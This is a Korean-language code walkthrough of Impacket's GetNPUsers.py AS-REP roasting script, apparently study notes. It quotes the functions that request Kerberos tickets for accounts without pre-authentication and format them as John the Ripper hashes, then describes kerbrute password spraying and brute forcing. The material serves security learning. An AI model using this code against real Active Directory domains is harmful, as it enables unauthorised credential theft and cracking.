https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py

이 코드는 Impacket 라이브러리를 사용하여 Active Directory 도메인에서 "Kerberos 사전 인증이 필요하지 않음" 속성이 설정된 사용자를 찾고, 해당 사용자들의 TGT(Ticket Granting Ticket)를 얻어서 John The Ripper 형식으로 출력하는 스크립트이다.

-코드 분석

getMachineName(97-118)

  def getMachineName(self, target):
        try:
            s = SMBConnection(target, target)
            s.login('', '')
        except OSError as e:
            if str(e).find('timed out') > 0:
                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
            else:
                raise
        except SessionError as e:
            if str(e).find('STATUS_NOT_SUPPORTED') > 0:
                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
            else:
                raise
        except Exception:
            if s.getServerName() == '':
                raise Exception('Error while anonymous logging into %s' % target)
        else:
            s.logoff()
        return s.getServerName()

s = SMBConnection(target, target): SMBConnection 객체를 생성한다. 이 객체를 사용하여 대상 서버와의 연결을 설정하고 인증을 시도한다. target은 서버의 IP 주소 또는 호스트 이름이다.

s.login('', ''): SMBConnection 객체를 사용하여 익명으로 로그인을 시도한다. 이 메서드는 사용자 이름과 비밀번호를 인자로 받는다. 여기서는 비어있는 문자열을 사용하여 익명으로 로그인한다.

s.logoff(): 로그인에 성공하고나면 SMBConnection을 로그오프한다. 이는 연결을 종료하고 리소스를 해제하는 데 사용된다.

return s.getServerName(): 로그인에 성공한 경우, SMBConnection 객체의 getServerName 메서드를 사용하여 서버의 이름을 반환한다.

getTGT(126-

def getTGT(self, userName, requestPAC=True):

        clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        asReq = AS_REQ()

        domain = self.__domain.upper()
        serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = requestPAC
        encodedPacRequest = encoder.encode(pacRequest)

        asReq['pvno'] = 5
        asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)

        asReq['padata'] = noValue
        asReq['padata'][0] = noValue
        asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        asReq['padata'][0]['padata-value'] = encodedPacRequest

        reqBody = seq_set(asReq, 'req-body')

        opts = list()
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)
        opts.append(constants.KDCOptions.proxiable.value)
        reqBody['kdc-options'] = constants.encodeFlags(opts)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        seq_set(reqBody, 'cname', clientName.components_to_asn1)

        if domain == '':
            raise Exception('Empty Domain not allowed in Kerberos')

        reqBody['realm'] = domain

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['rtime'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)

        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)

        seq_set_iter(reqBody, 'etype', supportedCiphers)

        message = encoder.encode(asReq)

        try:
            r = sendReceive(message, domain, self.__kdcIP)
        except KerberosError as e:
            if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                # RC4 not available, OK, let's ask for newer types
                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
                                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
                seq_set_iter(reqBody, 'etype', supportedCiphers)
                message = encoder.encode(asReq)
                r = sendReceive(message, domain, self.__kdcIP)
            else:
                raise e

        # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
        # 'Do not require Kerberos preauthentication' set
        try:
            asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
        except:
            # Most of the times we shouldn't be here, is this a TGT?
            asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
        else:
            # The user doesn't have UF_DONT_REQUIRE_PREAUTH set
            raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)

        # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
        if self.__outputFormat == 'john':
            # Check what type of encryption is used for the enc-part data
            # This will inform how the hash output needs to be formatted
            if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18:
                return '$krb5asrep$%d$%s%s$%s$%s' % (asRep['enc-part']['etype'], domain, clientName,
                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode(),
                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode())
            else:
                return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())

주어진 사용자에 대한 TGT(Ticket Granting Ticket)를 가져오는 메서드이다. 주요한 절차는 AS 요청(AS_REQ)을 생성하고, 해당 요청을 서버에 보내는 것이다. 이후 AS 응답(AS_REP)을 받아 TGT를 추출한다.

clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value): 사용자 이름을 바탕으로 Principal 객체를 생성한다. 이 객체는 사용자를 나타내는 주체(Subject)를 나타낸다.

asReq = AS_REQ(): AS 요청 객체를 생성한다. 이 객체는 인증 서버에게 TGT를 요청하는 데 사용된다.

serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value): 인증 서버의 Principal 객체를 생성한다. 이를 통해 TGT를 요청한다.

asRep = decoder.decode(r, asn1Spec=AS_REP())[0]: 응답 메시지를 해독한다. 이때, 예외가 발생하면 AS_REP 메시지로 간주된다.

if self.__outputFormat == 'john':: 출력 형식이 'john'인 경우를 확인한다.

return '$krb5asrep$%d$%s%s$%s$%s' % (asRep['enc-part']['etype'], domain, clientName,: TGT를 John 포맷으로 반환한다.

outputTGT(225-

  def outputTGT(entry, fd=None):
        print(entry)
        if fd is not None:
            fd.write(entry + '\n')

가져온 TGT를 출력한다.

entry: 출력할 TGT이다.

fd가 None이 아닌 경우 파일에 TGT를 쓴다.

-사용한 도구 이해

kerbrute

Kerbrute는 Kerberos 사전 인증을 통해 유효한 Active Directory 계정을 신속하게 무차별 대입하고 열거하는 데 도움이 되도록 설계된 도구이다.

이 도구는 두 가지 주요 공격 방법에 중점을 둔다.

1.Password Spraying (비밀번호 스프레이): 이 공격 기법은 단일 비밀번호를 여러 사용자명에 시도하는 것이다. 이는 계정 잠금을 피하기 위해 공격을 더 긴 기간 동안 분산시키는 데 사용된다. 해커는 Kerbrute를 사용하여 Kerberos 데이터베이스 내에 약한 비밀번호나 일반적으로 사용되는 비밀번호가 있는지 테스트한다.

2.Brute Force Attacks (무차별 대입 공격): 무차별 대입 공격은 사용자명과 비밀번호의 모든 가능한 조합을 체계적으로 시도하는 것이다. Kerbrute는 사전 공격을 수행하거나 비밀번호 조합을 생성하여 자격 증명을 발견한다.

john

"john"은 John the Ripper의 줄임말로, 강력한 암호 해독 및 해시 크래킹 도구이다.

패스워드의 강도를 평가하고, 취약점을 식별하며, 보안 정책을 개선하는 데 사용되는 유용하다. 그러나 사용 시에는 법적인 제약 사항과 윤리적인 고려 사항을 염두에 두어야 한다.